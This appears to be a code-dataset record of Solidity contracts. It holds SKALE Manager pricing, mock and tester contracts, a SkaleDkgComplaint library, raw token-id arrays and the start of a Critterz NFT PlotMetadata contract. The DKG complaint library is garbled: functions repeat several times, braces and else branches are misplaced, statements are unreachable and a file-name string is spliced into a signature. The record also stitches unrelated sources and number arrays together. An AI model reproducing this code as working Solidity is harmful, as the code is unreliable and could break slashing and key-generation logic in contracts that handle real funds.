@title Pricing * @dev Contains pricing operations for SKALE network. */ contract Pricing is Permissions { uint public constant INITIAL_PRICE = 5 * 10**6; uint public price; uint public totalNodes; uint public lastUpdated; function initNodes() external { Nodes nodes = Nodes(contractManager.getContract("Nodes")); totalNodes = nodes.getNumberOnlineNodes(); } /** * @dev Adjust the schain price based on network capacity and demand. * * Requirements: * * - Cooldown time has exceeded. */ function adjustPrice() external { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); require(now > lastUpdated.add(constantsHolder.COOLDOWN_TIME()), "It's not a time to update a price"); checkAllNodes(); uint load = _getTotalLoad(); uint capacity = _getTotalCapacity(); bool networkIsOverloaded = load.mul(100) > constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity); uint loadDiff; if (networkIsOverloaded) { loadDiff = load.mul(100).sub(constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity)); } else { loadDiff = constantsHolder.OPTIMAL_LOAD_PERCENTAGE().mul(capacity).sub(load.mul(100)); } uint priceChangeSpeedMultipliedByCapacityAndMinPrice = constantsHolder.ADJUSTMENT_SPEED().mul(loadDiff).mul(price); uint timeSkipped = now.sub(lastUpdated); uint priceChange = priceChangeSpeedMultipliedByCapacityAndMinPrice .mul(timeSkipped) .div(constantsHolder.COOLDOWN_TIME()) .div(capacity) .div(constantsHolder.MIN_PRICE()); if (networkIsOverloaded) { assert(priceChange > 0); price = price.add(priceChange); } else { if (priceChange > price) { price = constantsHolder.MIN_PRICE(); } else { price = price.sub(priceChange); if (price < constantsHolder.MIN_PRICE()) { price = constantsHolder.MIN_PRICE(); } } } lastUpdated = now; } /** * @dev Returns the total load percentage. */ function getTotalLoadPercentage() external view returns (uint) { return _getTotalLoad().mul(100).div(_getTotalCapacity()); } function initialize(address newContractsAddress) public override initializer { Permissions.initialize(newContractsAddress); lastUpdated = now; price = INITIAL_PRICE; } function checkAllNodes() public { Nodes nodes = Nodes(contractManager.getContract("Nodes")); uint numberOfActiveNodes = nodes.getNumberOnlineNodes(); require(totalNodes != numberOfActiveNodes, "No changes to node supply"); totalNodes = numberOfActiveNodes; } function _getTotalLoad() private view returns (uint) { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); uint load = 0; uint numberOfSchains = schainsInternal.numberOfSchains(); for (uint i = 0; i < numberOfSchains; i++) { bytes32 schain = schainsInternal.schainsAtSystem(i); uint numberOfNodesInSchain = schainsInternal.getNumberOfNodesInGroup(schain); uint part = schainsInternal.getSchainsPartOfNode(schain); load = load.add( numberOfNodesInSchain.mul(part) ); } return load; } function _getTotalCapacity() private view returns (uint) { Nodes nodes = Nodes(contractManager.getContract("Nodes")); ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); return nodes.getNumberOnlineNodes().mul(constantsHolder.TOTAL_SPACE_ON_NODE()); } } // SPDX-License-Identifier: AGPL-3.0-only /* SchainsInternalMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SchainsInternal.sol"; contract SchainsInternalMock is SchainsInternal { function removePlaceOfSchainOnNode(bytes32 schainHash, uint nodeIndex) external { delete placeOfSchainOnNode[schainHash][nodeIndex]; } function removeNodeToLocked(uint nodeIndex) external { mapping(uint => bytes32[]) storage nodeToLocked = _getNodeToLockedSchains(); delete nodeToLocked[nodeIndex]; } function removeSchainToExceptionNode(bytes32 schainHash) external { mapping(bytes32 => uint[]) storage schainToException = _getSchainToExceptionNodes(); delete schainToException[schainHash]; } } // SPDX-License-Identifier: AGPL-3.0-only /* LockerMock.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../interfaces/delegation/ILocker.sol"; contract LockerMock is ILocker { function getAndUpdateLockedAmount(address) external override returns (uint) { return 13; } function getAndUpdateForbiddenForDelegationAmount(address) external override returns (uint) { return 13; } } // SPDX-License-Identifier: AGPL-3.0-only /* MathUtilsTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../utils/MathUtils.sol"; contract MathUtilsTester { using MathUtils for uint; function boundedSub(uint256 a, uint256 b) external returns (uint256) { return a.boundedSub(b); } function boundedSubWithoutEvent(uint256 a, uint256 b) external pure returns (uint256) { return a.boundedSubWithoutEvent(b); } function muchGreater(uint256 a, uint256 b) external pure returns (bool) { return a.muchGreater(b); } function approximatelyEqual(uint256 a, uint256 b) external pure returns (bool) { return a.approximatelyEqual(b); } } // SPDX-License-Identifier: AGPL-3.0-only /* SegmentTreeTester.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../utils/SegmentTree.sol"; contract SegmentTreeTester { using SegmentTree for SegmentTree.Tree; SegmentTree.Tree private _tree; uint[129] private _places; function initTree() external { _tree.create(128); for (uint8 i = 1; i <= 128; i++) { if (_places[i] > 0) _tree.addToPlace(i, _places[i]); } } function addElemInPlaces(uint place, uint elem) external { _places[place] = elem; } function addToLast(uint elem) external { _tree.addToPlace(_tree.getSize(), elem); } function addToPlace(uint place, uint elem) external { _tree.addToPlace(place, elem); } function removeFromPlace(uint place, uint elem) external { _tree.removeFromPlace(place, elem); } function moveFromPlaceToPlace(uint fromPlace, uint toPlace, uint elem) external { _tree.moveFromPlaceToPlace(fromPlace, toPlace, elem); } function sumFromPlaceToLast(uint place) external view returns (uint) { return _tree.sumFromPlaceToLast(place); } function getRandomElem(uint place) external view returns (uint) { Random.RandomGenerator memory randomGenerator = Random.createFromEntropy( abi.encodePacked(uint(blockhash(block.number - 1)), place) ); return _tree.getRandomNonZeroElementFromPlaceToLast(place, randomGenerator); } function getElem(uint index) external view returns (uint) { require(index < _tree.tree.length, "Incorrect index"); return _tree.tree[index]; } function getSize() external view returns (uint) { return _tree.getSize(); } }
* @title SkaleDkgComplaint @dev Contains functions to manage distributed key generation per Joint-Feldman protocol./
library SkaleDkgComplaint { using SafeMath for uint; event ComplaintError(string error); event ComplaintSent( bytes32 indexed schainId, uint indexed fromNodeIndex, uint indexed toNodeIndex); function complaint( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage startAlrightTimestamp ) external SkaleDkgComplaint.sol - SKALE Manager { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); require(skaleDKG.isNodeBroadcasted(schainId, fromNodeIndex), "Node has not broadcasted"); if (skaleDKG.isNodeBroadcasted(schainId, toNodeIndex)) { _handleComplaintWhenBroadcasted( schainId, fromNodeIndex, toNodeIndex, contractManager, complaints, startAlrightTimestamp ); _handleComplaintWhenNotBroadcasted(schainId, toNodeIndex, contractManager, channels); } skaleDKG.setBadNode(schainId, toNodeIndex); } { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); require(skaleDKG.isNodeBroadcasted(schainId, fromNodeIndex), "Node has not broadcasted"); if (skaleDKG.isNodeBroadcasted(schainId, toNodeIndex)) { _handleComplaintWhenBroadcasted( schainId, fromNodeIndex, toNodeIndex, contractManager, complaints, startAlrightTimestamp ); _handleComplaintWhenNotBroadcasted(schainId, toNodeIndex, contractManager, channels); } skaleDKG.setBadNode(schainId, toNodeIndex); } } else { function complaintBadData( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); require(skaleDKG.isNodeBroadcasted(schainId, fromNodeIndex), "Node has not broadcasted"); require(skaleDKG.isNodeBroadcasted(schainId, toNodeIndex), "Accused node has not broadcasted"); require(!skaleDKG.isAllDataReceived(schainId, fromNodeIndex), "Node has already sent alright"); if (complaints[schainId].nodeToComplaint == uint(-1)) { complaints[schainId].nodeToComplaint = toNodeIndex; complaints[schainId].fromNodeToComplaint = fromNodeIndex; complaints[schainId].startComplaintBlockTimestamp = block.timestamp; emit ComplaintSent(schainId, fromNodeIndex, toNodeIndex); emit ComplaintError("First complaint has already been processed"); } } function complaintBadData( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); require(skaleDKG.isNodeBroadcasted(schainId, fromNodeIndex), "Node has not broadcasted"); require(skaleDKG.isNodeBroadcasted(schainId, toNodeIndex), "Accused node has not broadcasted"); require(!skaleDKG.isAllDataReceived(schainId, fromNodeIndex), "Node has already sent alright"); if (complaints[schainId].nodeToComplaint == uint(-1)) { complaints[schainId].nodeToComplaint = toNodeIndex; complaints[schainId].fromNodeToComplaint = fromNodeIndex; complaints[schainId].startComplaintBlockTimestamp = block.timestamp; emit ComplaintSent(schainId, fromNodeIndex, toNodeIndex); emit ComplaintError("First complaint has already been processed"); } } } else { function _handleComplaintWhenBroadcasted( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage startAlrightTimestamp ) private { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); if (complaints[schainId].nodeToComplaint == uint(-1)) { if ( skaleDKG.isEveryoneBroadcasted(schainId) && !skaleDKG.isAllDataReceived(schainId, toNodeIndex) && startAlrightTimestamp[schainId].add(_getComplaintTimelimit(contractManager)) <= block.timestamp ) { skaleDKG.finalizeSlashing(schainId, toNodeIndex); return; skaleDKG.finalizeSlashing(schainId, fromNodeIndex); return; } emit ComplaintError("Has already sent alright"); return; _getComplaintTimelimit(contractManager) ) <= block.timestamp) { skaleDKG.finalizeSlashing(schainId, complaints[schainId].nodeToComplaint); return; } emit ComplaintError("The same complaint rejected"); return; } emit ComplaintError("One complaint is already sent"); } function _handleComplaintWhenBroadcasted( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage startAlrightTimestamp ) private { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); if (complaints[schainId].nodeToComplaint == uint(-1)) { if ( skaleDKG.isEveryoneBroadcasted(schainId) && !skaleDKG.isAllDataReceived(schainId, toNodeIndex) && startAlrightTimestamp[schainId].add(_getComplaintTimelimit(contractManager)) <= block.timestamp ) { skaleDKG.finalizeSlashing(schainId, toNodeIndex); return; skaleDKG.finalizeSlashing(schainId, fromNodeIndex); return; } emit ComplaintError("Has already sent alright"); return; _getComplaintTimelimit(contractManager) ) <= block.timestamp) { skaleDKG.finalizeSlashing(schainId, complaints[schainId].nodeToComplaint); return; } emit ComplaintError("The same complaint rejected"); return; } emit ComplaintError("One complaint is already sent"); } function _handleComplaintWhenBroadcasted( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage startAlrightTimestamp ) private { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); if (complaints[schainId].nodeToComplaint == uint(-1)) { if ( skaleDKG.isEveryoneBroadcasted(schainId) && !skaleDKG.isAllDataReceived(schainId, toNodeIndex) && startAlrightTimestamp[schainId].add(_getComplaintTimelimit(contractManager)) <= block.timestamp ) { skaleDKG.finalizeSlashing(schainId, toNodeIndex); return; skaleDKG.finalizeSlashing(schainId, fromNodeIndex); return; } emit ComplaintError("Has already sent alright"); return; _getComplaintTimelimit(contractManager) ) <= block.timestamp) { skaleDKG.finalizeSlashing(schainId, complaints[schainId].nodeToComplaint); return; } emit ComplaintError("The same complaint rejected"); return; } emit ComplaintError("One complaint is already sent"); } } else if (!skaleDKG.isAllDataReceived(schainId, fromNodeIndex)) { } else if (complaints[schainId].nodeToComplaint == toNodeIndex) { if (complaints[schainId].startComplaintBlockTimestamp.add( function _handleComplaintWhenBroadcasted( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage startAlrightTimestamp ) private { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); if (complaints[schainId].nodeToComplaint == uint(-1)) { if ( skaleDKG.isEveryoneBroadcasted(schainId) && !skaleDKG.isAllDataReceived(schainId, toNodeIndex) && startAlrightTimestamp[schainId].add(_getComplaintTimelimit(contractManager)) <= block.timestamp ) { skaleDKG.finalizeSlashing(schainId, toNodeIndex); return; skaleDKG.finalizeSlashing(schainId, fromNodeIndex); return; } emit ComplaintError("Has already sent alright"); return; _getComplaintTimelimit(contractManager) ) <= block.timestamp) { skaleDKG.finalizeSlashing(schainId, complaints[schainId].nodeToComplaint); return; } emit ComplaintError("The same complaint rejected"); return; } emit ComplaintError("One complaint is already sent"); } function _handleComplaintWhenNotBroadcasted( bytes32 schainId, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels ) private { if (channels[schainId].startedBlockTimestamp.add(_getComplaintTimelimit(contractManager)) <= block.timestamp) { SkaleDKG(contractManager.getContract("SkaleDKG")).finalizeSlashing(schainId, toNodeIndex); return; } emit ComplaintError("Complaint sent too early"); } function _handleComplaintWhenNotBroadcasted( bytes32 schainId, uint toNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels ) private { if (channels[schainId].startedBlockTimestamp.add(_getComplaintTimelimit(contractManager)) <= block.timestamp) { SkaleDKG(contractManager.getContract("SkaleDKG")).finalizeSlashing(schainId, toNodeIndex); return; } emit ComplaintError("Complaint sent too early"); } function _getComplaintTimelimit(ContractManager contractManager) private view returns (uint) { return ConstantsHolder(contractManager.getConstantsHolder()).complaintTimelimit(); } }
9,880,392
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 2649, 10362, 5349, 40, 14931, 799, 412, 1598, 632, 5206, 8398, 4186, 358, 10680, 16859, 498, 9377, 1534, 804, 763, 17, 42, 488, 4728, 1771, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 10362, 5349, 40, 14931, 799, 412, 1598, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 31, 203, 203, 565, 871, 1286, 412, 1598, 668, 12, 1080, 555, 1769, 203, 203, 565, 871, 1286, 412, 1598, 7828, 12, 203, 3639, 1731, 1578, 8808, 272, 5639, 548, 16, 2254, 8808, 628, 907, 1016, 16, 2254, 8808, 358, 907, 1016, 1769, 203, 203, 203, 565, 445, 27534, 1598, 12, 203, 3639, 1731, 1578, 272, 5639, 548, 16, 203, 3639, 2254, 628, 907, 1016, 16, 203, 3639, 2254, 358, 907, 1016, 16, 203, 3639, 13456, 1318, 6835, 1318, 16, 203, 3639, 2874, 12, 3890, 1578, 516, 10362, 5349, 3398, 43, 18, 2909, 13, 2502, 5750, 16, 203, 3639, 2874, 12, 3890, 1578, 516, 10362, 5349, 3398, 43, 18, 799, 412, 1598, 751, 13, 2502, 27534, 1598, 87, 16, 203, 3639, 2874, 12, 3890, 1578, 516, 2254, 13, 2502, 787, 1067, 4083, 4921, 203, 565, 262, 203, 3639, 3903, 203, 203, 565, 10362, 5349, 40, 14931, 799, 412, 1598, 18, 18281, 300, 12038, 37, 900, 8558, 203, 203, 565, 288, 203, 3639, 10362, 5349, 3398, 43, 4343, 5349, 3398, 43, 273, 10362, 5349, 3398, 43, 12, 16351, 1318, 18, 588, 8924, 2932, 5925, 5349, 3398, 43, 7923, 1769, 203, 3639, 2583, 12, 7771, 5349, 3398, 43, 18, 291, 907, 15926, 329, 12, 87, 5639, 548, 16, 628, 907, 1016, 3631, 315, 907, 711, 486, 8959, 329, 8863, 203, 3639, 309, 261, 7771, 5349, 3398, 43, 18, 291, 907, 15926, 329, 12, 87, 5639, 548, 16, 358, 907, 1016, 3719, 288, 203, 5411, 389, 4110, 799, 412, 1598, 9434, 15926, 329, 12, 203, 7734, 272, 5639, 548, 16, 203, 7734, 628, 907, 1016, 16, 203, 7734, 358, 907, 1016, 16, 203, 7734, 6835, 1318, 16, 203, 7734, 27534, 1598, 87, 16, 203, 7734, 787, 1067, 4083, 4921, 203, 5411, 11272, 203, 5411, 389, 4110, 799, 412, 1598, 9434, 1248, 15926, 329, 12, 87, 5639, 548, 16, 358, 907, 1016, 16, 6835, 1318, 16, 5750, 1769, 203, 3639, 289, 203, 3639, 4343, 5349, 3398, 43, 18, 542, 6434, 907, 12, 87, 5639, 548, 16, 358, 907, 1016, 1769, 203, 565, 289, 203, 203, 565, 288, 203, 3639, 10362, 5349, 3398, 43, 4343, 5349, 3398, 43, 273, 10362, 5349, 3398, 43, 12, 16351, 1318, 18, 588, 8924, 2932, 5925, 5349, 3398, 43, 7923, 1769, 203, 3639, 2583, 12, 7771, 5349, 3398, 43, 18, 291, 907, 15926, 329, 12, 87, 5639, 548, 16, 628, 907, 1016, 3631, 315, 907, 711, 486, 8959, 329, 8863, 203, 3639, 309, 261, 7771, 5349, 3398, 43, 18, 291, 907, 15926, 329, 12, 87, 5639, 548, 16, 358, 907, 1016, 3719, 288, 203, 5411, 389, 4110, 799, 412, 1598, 9434, 15926, 329, 12, 203, 7734, 272, 5639, 548, 16, 203, 7734, 628, 907, 1016, 16, 203, 7734, 358, 907, 1016, 16, 203, 7734, 6835, 1318, 16, 203, 7734, 27534, 1598, 87, 16, 203, 7734, 787, 1067, 4083, 4921, 203, 5411, 11272, 203, 5411, 389, 4110, 799, 412, 1598, 9434, 1248, 15926, 329, 12, 87, 5639, 548, 16, 358, 907, 1016, 16, 6835, 1318, 16, 5750, 1769, 203, 3639, 289, 203, 3639, 4343, 5349, 3398, 43, 18, 542, 6434, 907, 12, 87, 5639, 548, 16, 358, 907, 1016, 1769, 203, 565, 289, 203, 203, 3639, 289, 469, 288, 203, 565, 445, 27534, 1598, 6434, 751, 12, 203, 3639, 1731, 1578, 272, 5639, 548, 16, 203, 3639, 2254, 628, 907, 1016, 16, 203, 3639, 2254, 358, 907, 1016, 16, 203, 3639, 13456, 1318, 6835, 1318, 16, 203, 3639, 2874, 12, 3890, 1578, 516, 10362, 5349, 3398, 43, 18, 799, 412, 1598, 751, 13, 2502, 27534, 1598, 87, 203, 565, 262, 203, 3639, 3903, 203, 565, 288, 7010, 3639, 10362, 5349, 3398, 43, 4343, 5349, 3398, 43, 273, 10362, 5349, 3398, 43, 12, 16351, 1318, 18, 588, 8924, 2932, 5925, 5349, 3398, 43, 7923, 1769, 203, 3639, 2583, 12, 7771, 5349, 3398, 43, 18, 291, 907, 15926, 329, 12, 87, 5639, 548, 16, 628, 907, 1016, 3631, 315, 907, 711, 486, 8959, 329, 8863, 203, 3639, 2583, 12, 7771, 5349, 3398, 43, 18, 291, 907, 15926, 329, 12, 87, 5639, 548, 16, 358, 907, 1016, 3631, 315, 8973, 3668, 756, 711, 486, 8959, 329, 8863, 203, 3639, 2583, 12, 5, 7771, 5349, 3398, 43, 18, 291, 1595, 751, 8872, 12, 87, 5639, 548, 16, 628, 907, 1016, 3631, 315, 907, 711, 1818, 3271, 524, 4083, 8863, 203, 3639, 309, 261, 832, 412, 1598, 87, 63, 87, 5639, 548, 8009, 2159, 774, 799, 412, 1598, 422, 2254, 19236, 21, 3719, 288, 203, 5411, 27534, 1598, 87, 63, 87, 5639, 548, 8009, 2159, 774, 799, 412, 1598, 273, 358, 907, 1016, 31, 203, 5411, 27534, 1598, 87, 63, 87, 5639, 548, 8009, 2080, 907, 774, 799, 412, 1598, 273, 628, 907, 1016, 31, 203, 5411, 27534, 1598, 87, 63, 87, 5639, 548, 8009, 1937, 799, 412, 1598, 1768, 4921, 273, 1203, 18, 5508, 31, 203, 5411, 3626, 1286, 412, 1598, 7828, 12, 87, 5639, 548, 16, 628, 907, 1016, 16, 358, 907, 1016, 1769, 203, 5411, 3626, 1286, 412, 1598, 668, 2932, 3759, 27534, 1598, 711, 1818, 2118, 5204, 8863, 203, 3639, 289, 203, 565, 289, 203, 203, 565, 445, 27534, 1598, 6434, 751, 12, 203, 3639, 1731, 1578, 272, 5639, 548, 16, 203, 3639, 2254, 628, 907, 1016, 16, 203, 3639, 2254, 358, 907, 1016, 16, 203, 3639, 13456, 1318, 6835, 1318, 16, 203, 3639, 2874, 12, 3890, 1578, 516, 10362, 5349, 3398, 43, 18, 799, 412, 1598, 751, 13, 2502, 27534, 1598, 87, 203, 565, 262, 203, 3639, 3903, 203, 565, 288, 7010, 3639, 10362, 5349, 3398, 43, 4343, 5349, 3398, 43, 273, 10362, 5349, 3398, 43, 12, 16351, 1318, 18, 588, 8924, 2932, 5925, 5349, 3398, 43, 7923, 1769, 203, 3639, 2583, 12, 7771, 5349, 3398, 43, 18, 291, 907, 15926, 329, 12, 87, 5639, 548, 16, 628, 907, 1016, 3631, 315, 907, 711, 486, 8959, 329, 8863, 203, 3639, 2583, 12, 7771, 5349, 3398, 43, 18, 291, 907, 15926, 329, 12, 87, 5639, 548, 16, 358, 907, 1016, 3631, 315, 8973, 3668, 756, 711, 486, 8959, 329, 8863, 203, 3639, 2583, 12, 5, 7771, 5349, 3398, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "hardhat/console.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./libraries/Base64.sol"; import "./libraries/StringList.sol"; import "./libraries/FormatMetadata.sol"; import "./IPlotMetadata.sol"; import "./IPlot.sol"; contract PlotMetadata is IPlotMetadata, OwnableUpgradeable { using Base64 for bytes; using ECDSA for bytes32; using SafeMath for uint256; using StringList for string[]; using Strings for uint256; string internal constant HEADER = '<svg id=\\"plot\\" width=\\"100%\\" height=\\"100%\\" version=\\"1.1\\" viewBox=\\"0 0 64 64\\" xmlns=\\"http://www.w3.org/2000/svg\\" xmlns:xlink=\\"http://www.w3.org/1999/xlink\\">'; string internal constant FOOTER = "<style>#plot{shape-rendering: crispedges; image-rendering: -webkit-crisp-edges; image-rendering: -moz-crisp-edges; image-rendering: crisp-edges; image-rendering: pixelated; -ms-interpolation-mode: nearest-neighbor;}</style></svg>"; string internal constant PNG_HEADER = '<image x=\\"1\\" y=\\"1\\" width=\\"64\\" height=\\"64\\" image-rendering=\\"pixelated\\" preserveAspectRatio=\\"xMidYMid\\" xlink:href=\\"'; string internal constant PNG_FOOTER = '\\"/>'; string internal constant STAKED_LAYER = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAABTklEQVR42u3XMWuDUBSG4a/JKBIuQoghZBBHQbrlL/SfdxUsXYJDKXEoIiW4dLFDuBfbdDFJIVfeZzIOwnfO9RwjAQAAAAAAAAAAAAAAAAAAAACm5+EWD9ku1K/D8/vP77d5/n+a3Sp8nmSSpNTE7nq3UT/5Agw7b4N3baM8yXQ43v8rcFUBdhv1eZIpNbGKqlTXNgpMJEkqqtKLGTC7JnxqYklSYKIf3bdFmG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DsBb6B7NfMfsqU/RUltbs/2FRitXkN+KAQBSryNbaquOUeeLSUIp1w8Atu//AEDrSWpaHFo+hEhVJ1ND6hbPNtvNqMhcYU5Mpi1zhRI7h1r2b4fSBxNzQmwNuwWv9ox0VPqdALActr/HVADvh67iFtXG5ASkQX1Jckz4wYBJBlcxl4KC0olk/cU8RAxKjAaIVBYBr0Q6xoyJ+/IQwoC9EVAmUa4BsDTfMqrCDpO5fWcK8SHECUeqSaqwZPELTgPV1sjtu4CWNqFY8DRgYpgnAoDBKY30DvIwdeF5VJl0GC+l783A+5qq+aupyCFDdEQ85KBUpARew0XZbWgFWHiCc0BaIrjyVCUbq5CmjrBc0EryvofkggHjLcYNqwoDtrYgDcAkeOecNwBqvyP3/IThlvohkoThk6ayUsNBPiOk5ycMuSfXqw2CHg8r02YyALMt9c/3tibuvLi5ZEcrNc/ALQABcAMTd52cbTOQHcbwQHII4ZwcrTMILII7yWbBYYSDSQjAVZ5wovoLaZzmPYcodjR0C651BrAqFgZkCwPJRgsTnVi2VvfNKUvjZcE/AbiZd0Q08UANrV0oiBEeoMO2mBivEPPUm54wwrh06Nfbsy2jbtnCyf3JlmlRBmxgUWIFoUwlSFNRnh+0EpqGgcEVAA2qvCOr8lv7/tmAmI6HdvDo5gjAVR7dC3pk2+Ca4s71uFUapJfow2dcD73FaYVZxQFr2v7ZteME3QSAmYA+Wxu+Frdhb1ci+gCrkCm9Ljes7g8AbMEOBNV510D2pt9AL+cr2PbWniEx3Wy8X5jubA+Q0KuYHvfWnptaoVHBWQqDKQrSewBsNveH2huAT7CN2nRuwthoOT67aOeNqjvfVfCyq3ZEWwMOqyNahy7iXrdB+sW+znP0L5PyHxY2/GBxAAAAAElFTkSuQmCC"; address public plotAddress; address public oracleAddress; string internal _baseImageURI; string internal _description; string internal _stakedDescription; mapping(uint256 => string) internal _imageURIs; function initialize(address _oracleAddress, address _plotAddress) public initializer { __Ownable_init(); oracleAddress = _oracleAddress; plotAddress = _plotAddress; _description = "A collection of 62,500 genesis Plots of land. Get a Plot to access the Critterz metaverse in Minecraft. Each Plot of land is 64 by 64 Minecraft blocks in size. Only owners of the Plots can build or destroy any blocks on it. You will have to stake Plots before building on them. Plots can also be minted using $BLOCK tokens."; _stakedDescription = "You should ONLY get Staked Plots from here if you want to rent a Plot. These are NOT the same as Critterz Plot NFTs. Rented Plots also give access to the Critterz Minecraft world, but you cannot break or place any blocks for Plots you rented in and are time limited."; } /* READ FUNCTIONS */ function getMetadata( uint256 tokenId, bool staked, string[] calldata additionalAttributes ) external view override returns (string memory) { string[] memory attributes = _getAttributes(tokenId); return _formatMetadata(tokenId, attributes.concat(additionalAttributes), staked); } function _formatMetadata( uint256 tokenId, string[] memory 